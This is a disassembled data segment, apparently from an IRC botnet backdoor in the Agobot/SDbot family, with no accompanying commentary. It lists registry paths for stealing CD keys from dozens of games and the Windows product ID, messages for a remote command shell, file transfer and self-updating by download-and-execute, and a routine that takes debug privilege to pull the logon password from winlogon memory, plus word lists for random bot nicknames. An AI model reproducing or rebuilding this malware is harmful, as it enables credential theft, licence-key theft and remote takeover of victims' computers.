aOftwareActivis db 'oftware\Activision\Soldier of Fortune II - Double Helix',0
align 4
aHiddenDangerou db 'Hidden & Dangerous 2',0
align 4
db 53h
aOftwareIllusio db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0
align 10h
aChrome db 'Chrome',0
align 4
aSerialnumber db 'SerialNumber',0
align 4
db 53h
aOftwareTechlan db 'oftware\Techland\Chrome',0
align 4
aNox db 'NOX',0
aSoftwareWestwo db 'Software\Westwood\NOX',0
align 10h
aCommandAndConq db 'Command and Conquer: Red Alert 2',0
align 4
db 53h
aOftwareWestwoo db 'oftware\Westwood\Red Alert 2',0
align 4
aCommandAndCo_0 db 'Command and Conquer: Red Alert',0
align 4
db 53h
aOftwareWestw_0 db 'oftware\Westwood\Red Alert',0
aCommandAndCo_1 db 'Command and Conquer: Tiberian Sun',0
align 4
aSerial db 'Serial',0
align 4
db 53h
aOftwareWestw_1 db 'oftware\Westwood\Tiberian Sun',0
align 4
aRainbowSixIiiR db 'Rainbow Six III RavenShield',0
db 53h
aOftwareRedStor db 'oftware\Red Storm Entertainment\RAVENSHIELD',0
align 4
aNascarRacing20 db 'Nascar Racing 2003',0
align 4
db 53h
aOftwareElectro db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
align 4
aNascarRacing_0 db 'Nascar Racing 2002',0
align 4
db 53h
aOftwareElect_0 db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
align 4
aNhl2003 db 'NHL 2003',0
align 4
db 53h
aOftwareElect_1 db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0
align 4
aNhl2002 db 'NHL 2002',0
align 4
db 53h
aOftwareElect_2 db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0
align 4
aFifa2003 db 'FIFA 2003',0
align 4
db 53h
aOftwareElect_3 db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0
align 4
aFifa2002 db 'FIFA 2002',0
align 4
db 53h
aOftwareElect_4 db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0
align 4
aShogunTotalWar db 'Shogun: Total War: Warlord Edition',0
align 10h
db 53h
aOftwareElect_5 db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi'
db 'on\ergc',0
align 4
aNeedForSpeedUn db 'Need For Speed: Underground',0
db 53h
aOftwareElect_6 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0
align 4
aNeedForSpeedHo db 'Need For Speed Hot Pursuit 2',0
align 4
aErgc db 'ergc',0
align 4
db 53h
aOftwareElect_7 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0
align 4
aMedalOfHonorAl db 'Medal of Honor: Allied Assault: Spearhead',0
align 10h
db 53h
aOftwareElect_8 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp'
db 'earhead\ergc',0
align 10h
aMedalOfHonor_0 db 'Medal of Honor: Allied Assault: Breakthrough',0
align 10h
db 53h
aOftwareElect_9 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br'
db 'eakthrough\ergc',0
align 4
aMedalOfHonor_1 db 'Medal of Honor: Allied Assault',0
align 8
db 53h
aOftwareElec_10 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er'
db 'gc',0
align 10h
aGlobalOperatio db 'Global Operations',0
align 4
db 53h
aOftwareElec_11 db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0
align 10h
aCommandAndCo_2 db 'Command and Conquer: Generals',0
align 10h
db 53h
aOftwareElec_12 db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0
aJamesBond007Ni db 'James Bond 007: Nightfire',0
align 10h
db 53h
aOftwareElec_13 db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
aCommandAndCo_3 db 'Command and Conquer: Generals (Zero Hour)',0
align 10h
db 53h
aOftwareElec_14 db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer'
db 'o Hour\ergc',0
align 10h
aBlackAndWhite db 'Black and White',0
db 53h
aOftwareElec_15 db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0
align 4
aBattlefieldVie db 'Battlefield Vietnam',0
db 53h
aOftwareElec_16 db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
align 4
aBattlefield194 db 'Battlefield 1942 (Secret Weapons of WWII)',0
align 8
db 53h
aOftwareElec_17 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons '
db 'of WWII\ergc',0
align 4
aBattlefield1_0 db 'Battlefield 1942 (Road To Rome)',0
db 53h
aOftwareElec_18 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom'
db 'e\ergc',0
align 4
aBattlefield1_1 db 'Battlefield 1942',0
align 4
db 53h
aOftwareElec_19 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
aFreedomForce db 'Freedom Force',0
align 10h
db 53h
aOftwareElec_20 db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0
aIgi2CovertStri db 'IGI 2: Covert Strike',0
align 4
db 53h
aOftwareIgi2Ret db 'oftware\IGI 2 Retail',0
align 4
aUnrealTourname db 'Unreal Tournament 2004',0
align 4
db 53h
aOftwareUnrealT db 'oftware\Unreal Technology\Installed Apps\UT2004',0
align 4
aUnrealTourna_0 db 'Unreal Tournament 2003',0
align 10h
db 53h
aOftwareUnrea_0 db 'oftware\Unreal Technology\Installed Apps\UT2003',0
align 4
aMicrosoftWindo db 'Microsoft Windows Product ID',0
align 4
aProductid db 'ProductId',0
align 10h
db 53h
aOftwareMicroso db 'oftware\Microsoft\Windows\CurrentVersion',0
align 4
aSoldiersOfAnar db 'Soldiers Of Anarchy',0
aSoftwareSilver db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
align 4
aLegendsOfMight db 'Legends of Might and Magic',0
align 10h
aCustomernumber db 'CustomerNumber',0
align 10h
aSoftware3d0Sta db 'Software\3d0\Status',0
aIndustryGiant2 db 'Industry Giant 2',0
align 4
aPrvkey db 'prvkey',0
align 10h
aSoftwareJowood db 'Software\JoWooD\InstalledGames\IG2',0
align 4
aHalfLife db 'Half-Life',0
align 10h
aSoftwareValveH db 'Software\Valve\Half-Life\Settings',0
align 4
aGunmanChronicl db 'Gunman Chronicles',0
align 4
aKey_0 db 'Key',0
aSoftwareValveG db 'Software\Valve\Gunman\Settings',0
align 4
aTheGladiators db 'The Gladiators',0
align 4
aRegnumber db 'RegNumber',0
align 4
aSoftwareEugenS db 'Software\Eugen Systems\The Gladiators',0
align 10h
aCounterStrikeR db 'Counter-Strike (Retail)',0 ; DATA XREF: seg002:00438E4Co
aCdkey db 'CDKey',0 ; DATA XREF: seg002:00438E48o
align 10h
aSoftwareValveC db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: seg002:off_438E44o
align 4
asc_43A058: ; DATA XREF: sub_415B31+E7o
; sub_415B31+F2o
unicode 0, <=>,0
dword_43A05C dd 234032Dh, 656B6463h, 3027379h, 7325202Dh, 7325203Ah
; DATA XREF: sub_415B31+2Bo
dd 0
db 2Dh ; -
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToSendTo db '- failed to send to Remote command shell',0
align 4
db 2Dh ; -
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToOpenRe db '- failed to open remote command shell',0
align 4
unk_43A0D8 db 2Dh ; - ; DATA XREF: sub_415EA1+FDo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToOpenSo db '- failed to open socket',0
align 4
dword_43A0FC dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h
; DATA XREF: sub_415EA1+362o
; seg000:00416399o
dd 726F72h
unk_43A114 db 2Dh ; - ; DATA XREF: sub_415EA1+2FAo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFileSSentToSSB db '- file %s sent to %s (%s bytes).',0
align 10h
unk_43A140 db 2Dh ; - ; DATA XREF: sub_415EA1+202o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aUnableToOpenSo db '- unable to open socket',0
align 4
dword_43A164 dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h
; DATA XREF: sub_415EA1+1CBo
dd 74756Fh
dword_43A17C dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
; DATA XREF: sub_415EA1+16Ao
dd 169h
unk_43A194 db 2Dh ; - ; DATA XREF: sub_415EA1+127o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFileDoesnTExis db '- file doesn',27h,'t exist',0
align 4
unk_43A1B4 db 2Dh ; - ; DATA XREF: sub_415EA1+82o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToBindTo db '- failed to bind to socket',0
unk_43A1D8 db 2Dh ; - ; DATA XREF: sub_415EA1+44o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToCrea_2 db '- failed to create socket',0
align 4
unk_43A1FC db 2Dh ; - ; DATA XREF: seg000:00416412o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aReceivedSFromS db '- received %s from %s (%s bytes).',0
align 4
unk_43A228 db 2Dh ; - ; DATA XREF: seg000:0041630Eo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aErrorOpeningSo db '- error opening socket',0
unk_43A248 db 2Dh ; - ; DATA XREF: seg000:004162EEo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aErrorOpeningFi db '- error opening file for writing',0
align 4
aAB db 'a+b',0 ; DATA XREF: seg000:004162DAo
unk_43A278 db 2Dh ; - ; DATA XREF: seg000:004162C6o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aErrorUnableToW db '- error unable to write file to disk',0
align 4
unk_43A2A8 db 2Dh ; - ; DATA XREF: seg000:004168FEo
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aBadUrlOrDnsErr db 'bad url or dns error at %s.',0
db 2Dh ; -
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aUpdateFailedEr db 'update failed, error executing %s',0
align 4
db 2Dh ; -
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aDownloaded_1fk db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0
align 4
db 2Dh ; -
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
db 6Fh ; o
db 70h, 65h, 6Eh
db 65h ; e
db 64h, 20h, 25h
db 73h ; s
align 4
db 2Dh ; -
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aDownloaded_1fK db 'downloaded %.1f KB to %s @ %.1f KB/sec',0
align 10h
db 2Dh ; -
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aWrongCrcDD_ db 'wrong crc (%d != %d).',0
align 4
db 2Dh ; -
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aWrongFilesizeD db 'wrong filesize (%d != %d).',0
align 4
db 2Dh ; -
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aGotUpdateSDkb_ db 'got update %s (%dKB).',0
align 4
db 2Dh ; -
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aDownloadedSDkb db 'downloaded %s (%dKB)',0
align 4
unk_43A444 db 2Dh ; - ; DATA XREF: seg000:004164F5o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aCouldnTOpenF_0 db 'couldn',27h,'t open file: %s',0
align 4
aUnknown db 'Unknown',0 ; DATA XREF: sub_416A12:loc_416A55o
; sub_4190F2+104o
aInvalid db 'Invalid',0 ; DATA XREF: sub_416A12:loc_416A4Fo
aDisk db 'Disk',0 ; DATA XREF: sub_416A12:loc_416A49o
align 4
aNetwork db 'Network',0 ; DATA XREF: sub_416A12:loc_416A43o
aCdrom db 'Cdrom',0 ; DATA XREF: sub_416A12:loc_416A3Do
align 4
off_43A494 dd offset word_4D4152 ; DATA XREF: sub_416A12:loc_416A37o
word_43A498 dw 3Fh ; DATA XREF: sub_416A12+1Fo
; sub_41AC18:loc_41AD1Ar
align 4
aFailed db 'failed',0 ; DATA XREF: sub_416AA3:loc_416B7Bo
; sub_416BBE+3Bo
align 4
aSkb db '%sKB',0 ; DATA XREF: sub_416AA3+6Bo
align 4
unk_43A4AC db 2Dh ; - ; DATA XREF: sub_416BBE+8Eo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aSDriveSSTotalS db '%s drive (%s): %s total, %s free, %s available',0
align 4
unk_43A4E8 db 2Dh ; - ; DATA XREF: sub_416BBE+58o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aSDriveSFailedT db '%s drive (%s): failed to stat, device not ready',0
aA_1 db 'A:\',0 ; DATA XREF: sub_416C90:loc_416CD5o
db 2Dh ; -
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
db 66h ; f
db 6Fh, 75h, 6Eh
db 64h ; d
db 20h, 25h, 64h
db 20h
aFiles db 'files',0
align 4
db 2Dh ; -
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
aSearchingFor_0 db 'searching for file %s',0
align 10h
dd 234032Dh, 646E6966h, 656C6966h, 202D0302h, 6E756F66h
dd 73252064h, 73255Ch, 2A5C7325h, 0
unk_43A594 db 2Dh ; - ; DATA XREF: sub_416F7D:loc_4170F6o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aFailedToEnable db 'failed to enable debug privilege',0
align 4
unk_43A5C8 db 2Dh ; - ; DATA XREF: sub_416F7D:loc_4170C9o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aUnableToFindWi db 'unable to find winlogon pid',0
unk_43A5F4 db 2Dh ; - ; DATA XREF: sub_416F7D:loc_4170C2o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aUnableToFindTh db 'unable to find the password in memory',0
align 10h
unk_43A630 db 2Dh ; - ; DATA XREF: sub_416F7D+117o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
db 57h ; W
db 69h, 6Eh, 4Ch
db 6Fh ; o
db 67h, 6Fh, 6Eh
db 20h
db 49h, 6Eh, 66h
db 6Fh ; o
db 72h, 6Dh, 61h
db 74h ; t
db 69h, 6Fh, 6Eh
db 20h
db 28h, 50h, 49h
db 44h ; D
db 20h, 25h, 64h
db 29h ; )
db 20h, 2Dh, 20h
db 2
db 44h, 6Fh, 6Dh
db 61h ; a
db 69h, 6Eh, 2
db 3Ah ; :
db 20h, 2 dup(5Ch)
db 25h ; %
db 53h, 2Ch, 20h
db 2
db 55h, 73h, 65h
db 72h ; r
db 2, 3Ah, 20h
aSNoPassword_ db '(%S/(no password)).',0
aUserdomain: ; DATA XREF: sub_416F7D+DCo
unicode 0, <USERDOMAIN>,0
align 4
aUsername: ; DATA XREF: sub_416F7D+CEo
unicode 0, <USERNAME>,0
align 4
aRtlrundecodeun db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_416F7D+9Ao
align 4
aRtldestroyquer db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_416F7D+8Do
align 10h
aRtlqueryproces db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_416F7D+80o
aRtlcreatequery db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_416F7D+73o
align 4
aNtquerysystemi db 'NtQuerySystemInformation',0 ; DATA XREF: sub_416F7D+68o
align 4
aNtdll_dll db 'NTDLL.DLL',0 ; DATA XREF: sub_416F7D+55o
align 4
aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_416F7D+40o
; sub_416F7D+161o ...
align 4
unk_43A768 db 2Dh ; - ; DATA XREF: sub_416F7D+35o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aOnlySupportedO db 'only supported on winnt/win2k',0
align 4
aMsgina db 'MSGINA',0 ; DATA XREF: sub_41714F+13Eo
align 10h
aNwgina db 'NWGINA',0 ; DATA XREF: sub_41714F+123o
align 4
aWinlogon db 'WINLOGON',0 ; DATA XREF: sub_41714F+AFo
align 8
dword_43A7B8 dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h
; DATA XREF: sub_4175A9+70o
; sub_417640+C7o
dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 295325h
dword_43A808 dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h
; DATA XREF: sub_417640+E1o
dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 412F4E28h
dd 2929h, 0
off_43A860 dd offset aQ ; DATA XREF: sub_417B38+5Cr
; "q"
dd offset dword_43B408
dd offset aE ; "e"
dd offset aR ; "r"
dd offset aT ; "t"
dd offset dword_43B404
dd offset aU ; "u"
dd offset aI ; "i"
dd offset aP ; "p"
dd offset aA ; "a"
dd offset aS_1 ; "s"
dd offset aD ; "d"
dd offset aF ; "f"
dd offset dword_43B400
dd offset dword_43B3FC
dd offset aJ ; "j"
dd offset aK ; "k"
dd offset dword_43B3F8
dd offset dword_43B3F4
dd offset dword_43B3F0
dd offset aC ; "c"
dd offset aV ; "v"
dd offset dword_43B3EC
dd offset aN ; "n"
dd offset aM ; "m"
dd offset dword_43B3E8
dd offset dword_43B3E4
dd offset dword_43B3E0
dd offset dword_43B3DC
dd offset dword_43B3D8
dd offset word_43B3D4
dd offset dword_43B3D0
dd offset aI_0 ; "I"
dd offset dword_43B3CC
dd offset dword_43B3C8
dd offset aA_0 ; "A"
dd offset dword_43B3C4
dd offset dword_43B3C0
dd offset dword_43B3BC
dd offset dword_43B3B8
dd offset dword_43B3B4
dd offset dword_43B3B0
dd offset dword_43B3AC
dd offset dword_43B3A8
dd offset dword_43B3A4
dd offset dword_43B3A0
dd offset dword_43B39C
dd offset dword_43B398
dd offset dword_43B394
dd offset word_43B390
dd offset aM_0 ; "M"
dd offset aSmartmir ; "SMARTMIR"
dd offset aFarooq ; "farooq"
dd offset aMaxxguy ; "maxxguy"
dd offset aBobmarley ; "BOBMARLEY"
dd offset aEmilya ; "emilya"
dd offset aKrizha ; "KRIZHA"
dd offset aCar1nna ; "Car1nna"
dd offset aSwin ; "swin"
dd offset aMale ; "male"
dd offset aKoko ; "koko"
dd offset aFlexster ; "flexster"
dd offset aKen ; "ken"
dd offset aShez ; "Shez"
dd offset aTalika ; "talika"
dd offset aMarcy ; "marcy"
dd offset aCme ; "cme"
dd offset aHeval ; "heval"
dd offset aBunty ; "bunty"
dd offset aJanno ; "janno"
dd offset aRimpy ; "rimpy"
dd offset aNastysha ; "nastysha"
dd offset aLuisa ; "Luisa"
dd offset aTroller ; "troller"
dd offset aManee ; "manee"
dd offset aKermit ; "kermit"
dd offset aPuregold ; "puregold"
dd offset aCoredump ; "CoreDump"
dd offset aImra ; "imra"
dd offset aGirl ; "GirL"
dd offset aCamel ; "CAMEL"
dd offset aReshma ; "reshma"
dd offset aKencing ; "Kencing"
dd offset aThr45h3r5 ; "THR45H3R5"
dd offset aCansuuuu ; "cansuuuu"
dd offset aKaan38dent ; "kaan38dent"
dd offset aErkan27 ; "erkan27"
dd offset aHexaaa ; "hexaaa"
dd offset aBerk19 ; "berk19"
dd offset aObenibisevse ; "OBeNiBiSeVSe"
dd offset aIrmal ; "irmal"
dd offset aMisssunday ; "misssunday"
dd offset aTolga34 ; "Tolga34"
dd offset aJericho ; "JERICHO"
dd offset aMary_0 ; "MARY"
dd offset aAkin ; "AKIN"
dd offset aMelekk ; "melekk"
dd offset aTrend3 ; "trend3"
dd offset aMERVE ; "M-E-R-V-E"
dd offset aTekir ; "tekir"
dd offset aVenedik34 ; "venedik34"
dd offset aSevmekmi ; "sevmekmi"
dd offset aSudenur ; "SUDENUR"
dd offset aArzu ; "ARZU"
dd offset aHaticem ; "haticem"
dd offset aErnesto ; "ERNESTO"
dd offset aAslii ; "aslii"
dd offset aPiramit ; "PIRAMIT"
dd offset aSamyeli21 ; "samyeli21"
dd offset aRetg ; "RETG"
dd offset aBlackpearl ; "blackpearl"
dd offset aPelincik ; "pelincik"
dd offset aAhmet ; "ahmet"
dd offset aTurkyy ; "turkyy"
dd offset aAnk32m ; "ank32m"
dd offset aZack ; "ZACK"
dd offset aIzmir39m ; "Izmir39m"
dd offset aAlbina ; "albina"
dd offset dword_43B128
dd offset off_43B124
dd offset aAnkh ; "ankh"
dd offset aDonjuanm ; "Donjuanm"
dd offset aBogac ; "bogac"
dd offset aAlpay34m ; "alpay34m"
dd offset aCongueror ; "CoNGuERoR"
dd offset aDenizlim ; "DenizliM"
dd offset aBerk19m ; "Berk19m"
dd offset aDevran ; "devran"
dd offset aArda ; "arda"
dd offset aKeyiflisert ; "keyifliSERT"
dd offset aMurat34M ; "murat34-m"
dd offset aHakan3 ; "hakan3"
dd offset aImirzali ; "IMIRZALI--"
dd offset aRamtha ; "RAMTHA"
dd offset aEmre ; "Emre--"
dd offset aElmaazyok ; "elmaazyok"
dd offset aEsmerkiz ; "Esmerkiz"
dd offset aKebikec ; "kebikec"
dd offset aFlord ; "FLoRD"
dd offset aHoly ; "holy"
dd offset aMahinur ; "MAHINUR"
dd offset aSadikaellesme ; "SaDIkaEllesme"
dd offset aAykut1 ; "aykut1"
dd offset aKashmira ; "Kashmira"
dd offset aSeviseli ; "SeViSeLi"
dd offset aSugarboy ; "SUGARBOY-"
dd offset aUzgun36 ; "uzgun36"
dd offset aKumul ; "kumul"
dd offset aAdalim ; "ADALIM"
dd offset aUmut ; "umut-"
dd offset aAnk32M ; "ANK-32-M"
dd offset aDjspace ; "DJSPACE"
dd offset aAnkar ; "Ankar"
dd offset aFenerlee ; "FeNeRLee"
dd offset aHayran ; "hayran"
dd offset aAngelgirl ; "angelgirl"
dd offset aKapk ; "kapk"
dd offset aAchilles ; "Achilles"
dd offset aTegmen ; "TEGMEN"
dd offset aKotan ; "kotan"
dd offset aSevda ; "sevda"
dd offset off_43AF90
dd offset aAlcatras ; "alcatras"
dd offset aA44m ; "a44m"
dd offset aBirsen ; "birsen"
dd offset aYabanc ; "yabanc"
dd offset aDevre ; "devre"
dd offset aErkan ; "erkan"
dd offset aAnkm ; "ankM"
dd offset aAdem28 ; "Adem28"
dd offset aMaxsilla ; "maxsilla"
dd offset aM41ist ; "M41IST"
dd offset aAdamm33 ; "AdAMM33"
dd offset aFirtina ; "firtina"
dd offset aAta29 ; "Ata29"
dd offset aKoray ; "KORAY"
dd offset aAkden ; "akden"
dd offset aIzmirlm ; "izmirlm"
dd offset aUla ; "ula"
dd offset aNeHaber ; "NE-HABER"
dd offset aPassenger ; "passenger"
dd offset aTropikal ; "tropikal"
dd offset aCool30m ; "cool30m"
dd offset aCem39 ; "cem39"
dd offset aRerpjj ; "RERPJJ"
dd offset aTeoman ; "TEOMAN```"
dd offset aDallas43m ; "DALLAS43M"
dd offset aPrometheus ; "prometheus"
dd offset aMaveRIck ; "MaVe{R}icK"
dd offset aAdamm ; "ADAMM"
dd offset aCumhur29 ; "cumhur29"
dd offset aWantedlove ; "WANTEDLOVE"
off_43AB60 dd offset aSex ; DATA XREF: sub_417B38+41r
; sub_417B38+ECr
; "sex"
dd offset aLez ; "lez"
dd offset aZex ; "zex"
dd offset aTree ; "tree"
dd offset aBad ; "bad"
dd offset aLag ; "lag"
dd offset aTambe ; "|tambe|"
dd offset aWoh ; "|woh|"
dd offset aTot ; "-|tot|"
dd offset aSuck ; "|suck|"
dd offset aLuck ; "|luck|"
dd offset aHub ; "{hub}"
dd offset aSex_0 ; "{sex}"
dd offset aGens ; "{gens|"
dd offset aLuvuF ; "||luvu-f|"
dd offset aWiked ; "|wiked|"
dd offset aSick ; "sick}}"
dd offset aQ8 ; "Q8"
dd offset aQ8A ; "|q8|a"
dd offset dword_43B3EC
dd offset aC ; "c"
dd offset aD ; "d"
dd offset aE ; "e"
dd offset aF ; "f"
dd offset dword_43B400
dd offset dword_43B3FC
dd offset aI ; "i"
dd offset dword_42CBB0
dd offset aJ ; "j"
dd offset aK ; "k"
dd offset dword_43B3F8
dd offset aM ; "m"
dd offset aN ; "n"
dd offset aO ; "o"
dd offset aP ; "p"
dd offset aQ ; "q"
dd offset aRs ; "rs"
dd offset aT ; "t"
dd offset aU ; "u"
dd offset aV ; "v"
dd offset dword_43B408
dd offset dword_43B3F0
dd offset dword_43B404
dd offset dword_43B3F4
dd offset aHappy ; "happy"
dd offset aRg ; "rg"
dd offset aTy ; "ty"
dd offset aGf ; "gf"
dd offset aRt ; "rt"
dd offset aSdf ; "sdf"
dd offset aUi ; "ui"
dd offset aLuvy ; "luvy"
dd offset aTrimy ; "trimy"
dd offset aTruck ; "truck"
dd offset aMuckc ; "muckc"
dd offset dword_43B3F4
dd offset dword_43B400
dd offset aS_1 ; "s"
dd offset aQ ; "q"
dd offset off_43ADB0
dd offset aBbl ; "|bbl"
dd offset dword_43FDB4
dd offset dword_43FDB4
dd offset a___0 ; "_|_"
dd offset dword_43FDB4
dd offset dword_43FDB4
dd offset dword_43FDB4
dd offset dword_43FDB4
dd offset dword_43B3BC
dd offset aM_0 ; "M"
dd offset aLuvu ; "LUVU"
dd offset aSad ; "Sad"
dd offset aF_0 ; "^^^f^"
dd offset dword_43B3EC
dd offset dword_43FDB4
dd offset aSleeping ; "Sleeping"
dd offset dword_43FDB4
dd offset dword_43FDB4
dd offset aFuck_0 ; "Fuck"
dd offset aFree ; "Free"
dd offset dword_43FDB4
dd offset dword_43FDB4
dd offset dword_43B3A0
dd offset dword_43FDB4
dd offset aBoy ; "BOY"
dd offset aGirl_0 ; "GIRL"
dd offset aGurl ; "gurl"
dd offset aShit ; "shit"
dd offset aAha ; "aha"
dd offset aYeah ; "yeah"
dd offset aMuha ; "muha"
dd offset aMof0 ; "mof0"
dd offset aMofo ; "mofo"
dd offset dword_43AD30
dd offset dword_43AD2C
dd offset dword_43AD24
dd offset dword_43AD18
dd offset dword_43AD10
dd offset dword_43AD08
dd offset dword_43AD00
dd offset dword_43ACFC
dd offset dword_43ACF8
dword_43ACF8 dd 7536h ; DATA XREF: seg002:0043ACF4o
dword_43ACFC dd 7535h ; DATA XREF: seg002:0043ACF0o
dword_43AD00 dd 7C75347Ch, 0 ; DATA XREF: seg002:0043ACECo
dword_43AD08 dd 6F79347Bh, 7D75h ; DATA XREF: seg002:0043ACE8o
dword_43AD10 dd 7375347Ch, 7Ch ; DATA XREF: seg002:0043ACE4o
dword_43AD18 dd 7865737Ch, 65726634h, 7C65h ; DATA XREF: seg002:0043ACE0o
dword_43AD24 dd 6F6C6F6Ch, 7C617Ch ; DATA XREF: seg002:0043ACDCo
dword_43AD2C dd 6C6F6Ch ; DATA XREF: seg002:0043ACD8o
dword_43AD30 dd 746F74h ; DATA XREF: seg002:0043ACD4o
aMofo db 'mofo',0 ; DATA XREF: seg002:0043ACD0o
align 4
aMof0 db 'mof0',0 ; DATA XREF: seg002:0043ACCCo
align 4
aMuha db 'muha',0 ; DATA XREF: seg002:0043ACC8o
align 4
aYeah db 'yeah',0 ; DATA XREF: seg002:0043ACC4o
align 4
aAha db 'aha',0 ; DATA XREF: seg002:0043ACC0o
aShit db 'shit',0 ; DATA XREF: seg002:0043ACBCo
align 10h
aGurl db 'gurl',0 ; DATA XREF: seg002:0043ACB8o
align 4
aGirl_0 db 'GIRL',0 ; DATA XREF: seg002:0043ACB4o
align 10h
aBoy db 'BOY',0 ; DATA XREF: seg002:0043ACB0o
aFree db 'Free',0 ; DATA XREF: seg002:0043AC9Co
align 4
aFuck_0 db 'Fuck',0 ; DATA XREF: seg002:0043AC98o
align 4
aSleeping db 'Sleeping',0 ; DATA XREF: seg002:0043AC8Co
align 10h
